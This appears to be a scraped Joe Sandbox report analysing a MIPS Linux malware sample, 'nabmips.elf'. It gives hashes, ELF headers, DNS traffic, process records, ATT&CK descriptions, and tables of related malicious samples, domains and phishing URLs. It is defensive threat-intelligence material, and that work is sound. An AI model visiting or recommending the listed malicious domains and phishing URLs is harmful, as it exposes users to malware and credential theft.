13.20.254.202	unknown	United States	395959	XEROX-ELLUS	false
28.1.30.192	unknown	United States	7922	COMCAST-7922US	false
75.229.14.168	unknown	United States	22394	CELLCOUS	false
146.51.129.140	unknown	Japan	1124	UVA-NLUniversiteitvanAmsterdamEU	false
110.214.100.98	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
12.239.164.208	unknown	United States	7018	ATT-INTERNET4US	false
78.251.94.193	unknown	France	12322	PROXADFR	false
14.255.44.48	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
13.252.200.167	unknown	United States	16509	AMAZON-02US	false
101.5.153.81	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
62.54.57.34	unknown	Germany	6805	TDDE-ASN1DE	false
33.184.92.45	unknown	United States	2686	ATGS-MMD-ASUS	false
222.204.52.94	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
55.212.204.240	unknown	United States	1541	DNIC-ASBLK-01534-01546US	false
13.218.135.138	unknown	United States	16509	AMAZON-02US	false
42.198.99.102	unknown	China	7497	CSTNET-AS-APComputerNetworkInformationCenterCN	false
157.5.23.29	unknown	unknown	7671	MCNETNTTSmartConnectCorporationJP	false
164.37.35.38	unknown	Sweden	29355	KCELL-ASKZ	false
141.139.78.62	unknown	United States	13046	ASN-ISKONHEPHR	false
165.45.52.129	unknown	United States	37053	RSAWEB-ASZA	false
21.243.159.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
166.196.169.233	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
107.232.66.124	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	mips.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklsh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	nklmips.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	zerppc.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	splsh4.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	splspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklarm5.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	zerm68k.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	splx86.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	nabarm7.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
watchmepull.dyn	nklarm5.elf	Get hash	malicious	Unknown	Browse	185.220.204.227

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide	hgfs.mpsl.elf	Get hash	malicious	Unknown	Browse	62.56.91.195
	hgfs.ppc.elf	Get hash	malicious	Unknown	Browse	83.107.184.64
	hgfs.x86.elf	Get hash	malicious	Unknown	Browse	83.104.135.31
	cbr.arm7.elf	Get hash	malicious	Mirai	Browse	194.70.86.81
	1isequal9.m68k.elf	Get hash	malicious	Unknown	Browse	158.152.37.227
	1isequal9.i686.elf	Get hash	malicious	Unknown	Browse	83.107.196.47
	5r3fqt67ew531has4231.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	212.225.90.41
	splmpsl.elf	Get hash	malicious	Unknown	Browse	80.177.223.180
	nabmips.elf	Get hash	malicious	Unknown	Browse	158.153.64.147
	nabarm.elf	Get hash	malicious	Unknown	Browse	212.225.28.96
CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	resgod.x86.elf	Get hash	malicious	Mirai	Browse	36.146.138.211
	kaizen.ppc.elf	Get hash	malicious	Mirai	Browse	112.40.230.215
	hgfs.mpsl.elf	Get hash	malicious	Unknown	Browse	112.41.32.227
	hgfs.arm.elf	Get hash	malicious	Unknown	Browse	112.39.117.109
	hgfs.x86.elf	Get hash	malicious	Unknown	Browse	39.152.142.12
	bejv86.elf	Get hash	malicious	Mirai	Browse	112.55.144.86
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	36.146.138.214
	nklppc.elf	Get hash	malicious	Unknown	Browse	112.42.114.0
	apep.sh4.elf	Get hash	malicious	Unknown	Browse	36.131.159.181
	eehah4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	36.138.89.181
INMOTI-1US	CloudServices.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	209.182.213.250
	https://tour-planners.com/secure.html	Get hash	malicious	Unknown	Browse	172.81.118.244
	https://sbperu.net/	Get hash	malicious	Unknown	Browse	172.81.118.244
	test.lnk.download.lnk	Get hash	malicious	Unknown	Browse	23.235.202.121
	https://bznwz.com/o/?c3Y9bzM2NV8xX29uZSZyYW5kPU5tWnhibVk9JnVpZD1VU0VSMjgwMjIwMjVVMDMwMjI4MjY=N0123N	Get hash	malicious	Unknown	Browse	199.250.197.52
	https://jkaurelieodinsarlfrjkf.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	199.250.197.52
	https://jkaurelieodinsarlfrjkf.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	199.250.197.52
	77MmBkD2PE.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	209.182.213.250
	TtLlwb3ava.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	209.182.213.250
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	70.39.239.245
BHN-33363US	nabarm.elf	Get hash	malicious	Unknown	Browse	68.200.194.4
	jklarm7.elf	Get hash	malicious	Unknown	Browse	24.110.80.244
	jklarm.elf	Get hash	malicious	Unknown	Browse	97.79.102.164
	jklx86.elf	Get hash	malicious	Unknown	Browse	108.189.9.203
	nabarm5.elf	Get hash	malicious	Unknown	Browse	24.144.95.180
	k86m.elf	Get hash	malicious	Mirai	Browse	97.96.93.191
	hoho.sh4.elf	Get hash	malicious	Unknown	Browse	72.188.139.224
	hoho.mpsl.elf	Get hash	malicious	Unknown	Browse	97.79.111.199
	hoho.ppc.elf	Get hash	malicious	Unknown	Browse	71.46.110.196
	hoho.x86.elf	Get hash	malicious	Mirai	Browse	72.187.36.81

Process:	/tmp/nabmips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	255
Entropy (8bit):	3.195449327344335
Encrypted:	false
SSDEEP:	3:hVIRe6X9FQWUT5FFNFiPSY/VVQFFQWUT5FFNFu/SHT/VVdf/FVdVcv/VVdf/FVWk:URe6gDFSqY/V7DFzHT/VDM/V+4D/VH
MD5:	5223E2B518E3F7C3FB8D5CB02C02CF3F
SHA1:	0822191BD900CAC57D14CF7E62BFC50D56651565
SHA-256:	8CE1C3936F9E2914B129A98CB4F0CC9846F1D42C0A83818C802DCE307B7640AB
SHA-512:	A26EB3E7C5FBE5FFA0318C578C078037F7695B67BF50F38288D63333B45F621EF7F279FF8F617BABED85CB327CDB1D5C70B8316DFBA4A5765FF5B2308CDBE2F9
Malicious:	false
Reputation:	low
Preview:	400000-40e000 r-xp 00000000 fd:00 531606 /tmp/..44e000-44f000 rw-p 0000e000 fd:00 531606 /tmp/..44f000-451000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

Source: nabmips.elf	ReversingLabs: Detection: 33%
Source: nabmips.elf	Virustotal: Detection: 30%			Perma Link

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.3818899653477255
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabmips.elf
File size:	59'744 bytes
MD5:	8dc55159bc925edf47b86787bb8cbc43
SHA1:	b5e7371acdcccd085f6bd427a92c60620ef240e2
SHA256:	ef0614ef234caf95a76ac8d56fa250e042594804188df1cc6aefe7770f13baec
SHA512:	5fafd48c9e38c4e2f66c21f89cf1857b5684c5485c2eda29bc9c74524c876eec4050abf2934e7289d7dc328333de0f33625f94c2aa70a8cc10c59cf2ba2f1ba0
SSDEEP:	1536:ZmgNq35KimwnB5sehm2JV/2fR4aFWGjtUztUztUztUwtUCd+owkndkR9bNpV4Tca:ZbeKimwB6ehm2JV/2fR4aFWGjtUztUzK
TLSH:	C44373196E319FADFBBC823587B74E209758639537D0C688D2ACFD055EB020D681FB98
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@...........................D...D.........h........dt.Q............................<...'.b,...!'.......................<...'.b....!... ....'9... ......................<...'.a....!........'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	59144
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xca70	0x0	0x6	AX	16
.fini	PROGBITS	0x40cb90	0xcb90	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40cbf0	0xcbf0	0xe90	0x0	0x2	A	16
.ctors	PROGBITS	0x44e000	0xe000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44e008	0xe008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44e010	0xe010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44e014	0xe014	0xe4	0x0	0x3	WA	4
.data	PROGBITS	0x44e100	0xe100	0x1d0	0x0	0x3	WA	16
.got	PROGBITS	0x44e2d0	0xe2d0	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44e69c	0xe69c	0x1c	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44e6c0	0xe69c	0x12a8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x786	0xe69c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xe69c	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xda80	0xda80	5.5068	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xe000	0x44e000	0x44e000	0x69c	0x1968	3.7214	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 20:06:32.602370977 CET	48293	53	192.168.2.23	202.61.197.122
Mar 19, 2025 20:06:32.619759083 CET	53	48293	202.61.197.122	192.168.2.23
Mar 19, 2025 20:06:44.023843050 CET	43885	53	192.168.2.23	194.36.144.87
Mar 19, 2025 20:06:44.046298981 CET	53	43885	194.36.144.87	192.168.2.23
Mar 19, 2025 20:06:55.601919889 CET	32944	53	192.168.2.23	81.169.136.222
Mar 19, 2025 20:06:55.632253885 CET	53	32944	81.169.136.222	192.168.2.23
Mar 19, 2025 20:06:55.633593082 CET	60540	53	192.168.2.23	81.169.136.222
Mar 19, 2025 20:06:55.662727118 CET	53	60540	81.169.136.222	192.168.2.23
Mar 19, 2025 20:06:55.663919926 CET	40607	53	192.168.2.23	81.169.136.222
Mar 19, 2025 20:06:55.693234921 CET	53	40607	81.169.136.222	192.168.2.23
Mar 19, 2025 20:06:55.698401928 CET	51743	53	192.168.2.23	81.169.136.222
Mar 19, 2025 20:06:55.727632046 CET	53	51743	81.169.136.222	192.168.2.23
Mar 19, 2025 20:06:55.730341911 CET	40154	53	192.168.2.23	81.169.136.222
Mar 19, 2025 20:06:55.759645939 CET	53	40154	81.169.136.222	192.168.2.23
Mar 19, 2025 20:07:07.314327002 CET	59160	53	192.168.2.23	194.36.144.87
Mar 19, 2025 20:07:07.336946964 CET	53	59160	194.36.144.87	192.168.2.23
Mar 19, 2025 20:07:07.338129997 CET	56126	53	192.168.2.23	194.36.144.87
Mar 19, 2025 20:07:07.360914946 CET	53	56126	194.36.144.87	192.168.2.23
Mar 19, 2025 20:07:07.362214088 CET	57860	53	192.168.2.23	194.36.144.87
Mar 19, 2025 20:07:07.379065990 CET	53	57860	194.36.144.87	192.168.2.23
Mar 19, 2025 20:07:07.380695105 CET	44845	53	192.168.2.23	194.36.144.87
Mar 19, 2025 20:07:07.397495985 CET	53	44845	194.36.144.87	192.168.2.23
Mar 19, 2025 20:07:07.398636103 CET	36146	53	192.168.2.23	194.36.144.87
Mar 19, 2025 20:07:07.421474934 CET	53	36146	194.36.144.87	192.168.2.23
Mar 19, 2025 20:07:18.974328041 CET	45962	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:07:18.991776943 CET	53	45962	152.53.15.127	192.168.2.23
Mar 19, 2025 20:07:18.992909908 CET	55587	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:07:19.015932083 CET	53	55587	152.53.15.127	192.168.2.23
Mar 19, 2025 20:07:19.017077923 CET	38792	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:07:19.034270048 CET	53	38792	152.53.15.127	192.168.2.23
Mar 19, 2025 20:07:19.035376072 CET	38128	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:07:19.052294970 CET	53	38128	152.53.15.127	192.168.2.23
Mar 19, 2025 20:07:19.053423882 CET	60444	53	192.168.2.23	152.53.15.127
Mar 19, 2025 20:07:19.076061010 CET	53	60444	152.53.15.127	192.168.2.23
Mar 19, 2025 20:07:30.649615049 CET	40180	53	192.168.2.23	185.181.61.24
Mar 19, 2025 20:07:30.685600042 CET	53	40180	185.181.61.24	192.168.2.23
Mar 19, 2025 20:07:42.261782885 CET	42097	53	192.168.2.23	81.169.136.222
Mar 19, 2025 20:07:42.291448116 CET	53	42097	81.169.136.222	192.168.2.23
Mar 19, 2025 20:07:53.504650116 CET	44874	53	192.168.2.23	168.235.111.72
Mar 19, 2025 20:07:53.591814995 CET	53	44874	168.235.111.72	192.168.2.23
Mar 19, 2025 20:07:53.594291925 CET	41021	53	192.168.2.23	168.235.111.72
Mar 19, 2025 20:07:53.681129932 CET	53	41021	168.235.111.72	192.168.2.23
Mar 19, 2025 20:07:53.683501005 CET	51907	53	192.168.2.23	168.235.111.72
Mar 19, 2025 20:07:53.771297932 CET	53	51907	168.235.111.72	192.168.2.23
Mar 19, 2025 20:07:53.773530960 CET	51866	53	192.168.2.23	168.235.111.72
Mar 19, 2025 20:07:53.866003036 CET	53	51866	168.235.111.72	192.168.2.23
Mar 19, 2025 20:07:53.868139982 CET	42634	53	192.168.2.23	168.235.111.72
Mar 19, 2025 20:07:53.959446907 CET	53	42634	168.235.111.72	192.168.2.23

Start time (UTC):	19:06:29
Start date (UTC):	19/03/2025
Path:	/tmp/nabmips.elf
Arguments:	/tmp/nabmips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	19:06:30
Start date (UTC):	19/03/2025
Path:	/tmp/nabmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	19:06:31
Start date (UTC):	19/03/2025
Path:	/tmp/nabmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabmips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0GI0sz (deleted)

/tmp/qemu-open.1chQyC (deleted)

/tmp/qemu-open.1fy7WB (deleted)

/tmp/qemu-open.1ngJ5y (deleted)

/tmp/qemu-open.29ryBC (deleted)

/tmp/qemu-open.2GJXvB (deleted)

/tmp/qemu-open.2Ha8mA (deleted)

/tmp/qemu-open.2c2q8x (deleted)

/tmp/qemu-open.33TW4y (deleted)

/tmp/qemu-open.4H3FJA (deleted)

/tmp/qemu-open.4PKGaA (deleted)

/tmp/qemu-open.50xJMz (deleted)

/tmp/qemu-open.5yXMYA (deleted)

/tmp/qemu-open.5yoGBC (deleted)

/tmp/qemu-open.62HHdA (deleted)

/tmp/qemu-open.6LpWDz (deleted)

/tmp/qemu-open.6dOa0y (deleted)

/tmp/qemu-open.6rNPRA (deleted)

/tmp/qemu-open.7aeF7A (deleted)

/tmp/qemu-open.7ooiOA (deleted)

/tmp/qemu-open.7yrdQB (deleted)

/tmp/qemu-open.95ekHz (deleted)

/tmp/qemu-open.9Is2sA (deleted)

/tmp/qemu-open.Az31Dz (deleted)

/tmp/qemu-open.BDn2wA (deleted)

/tmp/qemu-open.BPK0Wy (deleted)

/tmp/qemu-open.Bj6j3y (deleted)

/tmp/qemu-open.BqyHCA (deleted)

/tmp/qemu-open.CVyFez (deleted)

/tmp/qemu-open.CrCxaB (deleted)

/tmp/qemu-open.DDHaSB (deleted)

/tmp/qemu-open.DGpDCB (deleted)

/tmp/qemu-open.Ddy5eB (deleted)

Linux Analysis Report
nabmips.elf